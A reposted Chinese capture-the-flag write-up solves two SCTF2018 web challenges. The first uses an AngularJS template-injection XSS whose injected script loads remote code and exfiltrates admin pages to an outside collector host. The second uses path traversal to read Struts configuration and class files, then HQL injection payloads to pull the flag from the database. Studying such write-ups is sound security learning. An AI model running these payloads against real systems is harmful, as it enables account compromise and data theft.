转载

SCTF2018 Web Writeup

0x01 新的建议板

看了一下页面内引用了AngularJS 1.4.6,然后找了一下对应版本的XSS漏洞,参考文章 XSS without HTML: Client-Side Template Injection with AngularJS

1.4.0 - 1.4.9

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

SCTF2018 Web Writeup

提交留言即可触发xss,管理员那边也会触发一遍。

这里留言似乎有点过滤,我用base64编码然后利用JQuery的$.getScript函数引用js文件

$.getScript('http://xsspt.com/xxxx');
编码之后
eval(atob('JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw=='));

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(/'JC5nZXRTY3JpcHQoJ2h0dHA6Ly94c3NwdC5jb20veHh4eCcpOw==/'));}}

提交留言然后就打到管理员了

SCTF2018 Web Writeup

然后发现后台并不在公网上, http://127.0.0.1:1002/admin/

构造payload开始读管理员后台

$.ajax({
    url: "/admin",
    type: "GET",
    dataType: "text",
    success: function(result) {
        var code = btoa(encodeURIComponent(result));
        xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
    },
    error: function(msg) {

    }
})

function xssPost(url, postStr) {
    var de;
    de = document.body.appendChild(document.createElement('iframe'));
    de.src = 'about:blank';
    de.height = 1;
    de.width = 1;
    de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
    de.contentDocument.forms[0].submit();
    de.style.display = 'none';
}

在js脚本里写入读取后台页面的代码,提交留言,收到 /admin 页面的内容

SCTF2018 Web Writeup

在base64跟url解码之后,拿到 /admin 页面

SCTF2018 Web Writeup

我们可以看到有个文件管理页面,继续修改js访问 /admin/file

SCTF2018 Web Writeup

这里需要输入文件密码才能访问,我们接下来找一下文件密码

在一开始的首页里有个 min-test.js ,这里泄露了admin模板文件 view/admintest2313.html ,在这个模板中发现一个备忘录的接口

SCTF2018 Web Writeup

SCTF2018 Web Writeup

猜测这是在看 admintest2313 用户的备忘录,然后我们从获取到的后台页面中发现了 adminClound 这个用户名

SCTF2018 Web Writeup

拿到文件密码后,构造post包访问 /admin/file

$.ajax({
    url: "/admin/file",
    type: "POST",
    data: "filepasswd=HGf%5E%2639NsslUIf%5E23",
    dataType: "text",
    success: function(result) {
        var code = btoa(encodeURIComponent(result));
        xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
    },
    error: function(msg) {

    }
})

然后直接就打到flag了

0x02 Zhuanxv

拿到题目先扫目录(emmm...),扫到 /list ,访问需要登录,然后抓到个请求 /loadimage?fileName=web_login_bg.jpg ,猜测这是个文件读取漏洞,然后再猜猜他是个java程序,构造路径读取 web.xml

SCTF2018 Web Writeup

发现是Struts2写的站点,读一下配置文件 ../../WEB-INF/classes/struts.xml

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
        "http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
    <constant name="strutsenableDynamicMethodInvocation" value="false"/>
    <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
    <constant name="struts.action.extension" value=","/>
    <package name="front" namespace="/" extends="struts-default">
        <global-exception-mappings>
            <exception-mapping exception="java.lang.Exception" result="error"/>
        </global-exception-mappings>
        <action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
            <result name="error">/ctfpage/login.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
        <action name="loadimage" class="com.cuitctf.action.DownloadAction">
            <result name="success" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="contentDisposition">attachment;filename="bg.jpg"</param>
                <param name="inputName">downloadFile</param>
            </result>
            <result name="suffix_error">/ctfpage/welcome.jsp</result>
        </action>
    </package>
    <package name="back" namespace="/" extends="struts-default">
        <interceptors>
            <interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
            <interceptor-stack name="userAuth">
                <interceptor-ref name="defaultStack" />
                <interceptor-ref name="oa" />
            </interceptor-stack>

        </interceptors>
        <action name="list" class="com.cuitctf.action.AdminAction" method="execute">
            <interceptor-ref name="userAuth">
                <param name="excludeMethods">
                    execute
                </param>
            </interceptor-ref>
            <result name="login_error">/ctfpage/login.jsp</result>
            <result name="list_error">/ctfpage/welcome.jsp</result>
            <result name="success">/ctfpage/welcome.jsp</result>
        </action>
    </package>
</struts>

根据上面的Action路径,构造读取class文件的路径 ../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class ,逐一把上面的class文件都下载一遍,然后再读一下 ../../WEB-INF/classes/applicationContext.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
        <property name="driverClassName">
            <value>com.mysql.jdbc.Driver</value>
        </property>
        <property name="url">
            <value>jdbc:mysql://localhost:3306/sctf</value>
        </property>
        <property name="username" value="root"/>
        <property name="password" value="root" />
    </bean>
    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
        <property name="dataSource">
            <ref bean="dataSource"/>
        </property>
        <property name="mappingLocations">
            <value>user.hbm.xml</value>
        </property>
        <property name="hibernateProperties">
            <props>
                <prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
                <prop key="hibernate.show_sql">true</prop>
            </props>
        </property>
    </bean>
    <bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
        <property name="sessionFactory">
            <ref bean="sessionFactory"/>
        </property>
    </bean>
    <bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
        <property name="transactionManager">
            <ref bean="transactionManager"/>
        </property>
        <property name="transactionAttributes">
            <props>
                <prop key="add">PROPAGATION_REQUIRED</prop>
                <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
            </props>
        </property>
    </bean>
    <bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
        <property name="hibernateTemplate">
            <ref bean="hibernateTemplate"/>
        </property>
    </bean>
    <bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
        <property name="userDao">
            <ref bean="userDAO"/>
        </property>
    </bean>
</beans>

这里是用hibernate框架执行sql,读取一下 ../../WEB-INF/classes/user.hbm.xml

<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC
        "-//Hibernate/Hibernate Mapping DTD 3.0//EN"
        "http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.cuitctf.po">
    <class name="User" table="hlj_members">
        <id name="id" column="user_id">
            <generator class="identity"/>
        </id>
        <property name="name"/>
        <property name="password"/>
    </class>
    <class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
        <id name="flag" column="welcometoourctf">
            <generator class="identity"/>
        </id>
        <property name="flag"/>
    </class>
</hibernate-mapping>

看样子flag在数据库里。接下来继续下载 applicationContext.xml 文件中引用的dao层跟service层的class文件

这里整理出主要的代码片段

//UserLoginAction.class
public boolean userCheck(User user) {
    List < User > userList = this.userService.loginCheck(user.getName(), user.getPassword());
    if ((userList != null) && (userList.size() == 1)) {
        return true;
    }
    addActionError("Username or password is Wrong, please check!");
    return false;
}

//UserServiceImpl.class
public List <User> loginCheck(String name, String password) {
    name = name.replaceAll(" ", "");
    name = name.replaceAll("=", "");
    Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
    Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
    if (password_matcher.find()) {
        return this.userDao.loginCheck(name, password);
    }
    return null;
}

//UserDaoImpl.class
public List <User> loginCheck(String name, String password) {
    return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
}

UserServiceImpl.class 这里只检测了password的正则,name只替换了空格跟等号,正则没起作用,所以这里可以注入

在登录处 user.name 注入

user.name=1'or''like''or''like'&user.password=aaaa

这样子直接进入后台,但这不是我们的目标,我们要读取数据库里的flag。可以利用登录判断来进行盲注,获取数据

user.name=1'or(name)like'ho%25'or''like'&user.password=aaaa

然后就跑出用户名为homamamama,这不是重点,我们要读flag。由于这个是hql,很多mysql的特性没法用,只能根据hql的语法构建一个子查询。试了一下 (select name from User)like'%' 可以猜测读取到用户名,但是根据xml的数据表结构读取Flag表 (select flag from Flag)like'%' 却不行。

继续构造注入猜测, (select count(*) from Flag)like'1' 这个可以,说明Flag表里有一条数据。很多人都困在这一步了,读不到Flag表。这里要利用的是hql语句的子查询, (from Flag)like'%' 这样子就可以了,然后构造脚本开始跑Flag就可以了

user.name=1'or(from Flag)like'sctf{%25'or''like'&user.password=aaaa

最后获取到的flag要将花括号里的转成大写

原文  http://www.sec2hack.com/ctf/sctf2018-web-writeup.html
正文到此结束
Loading...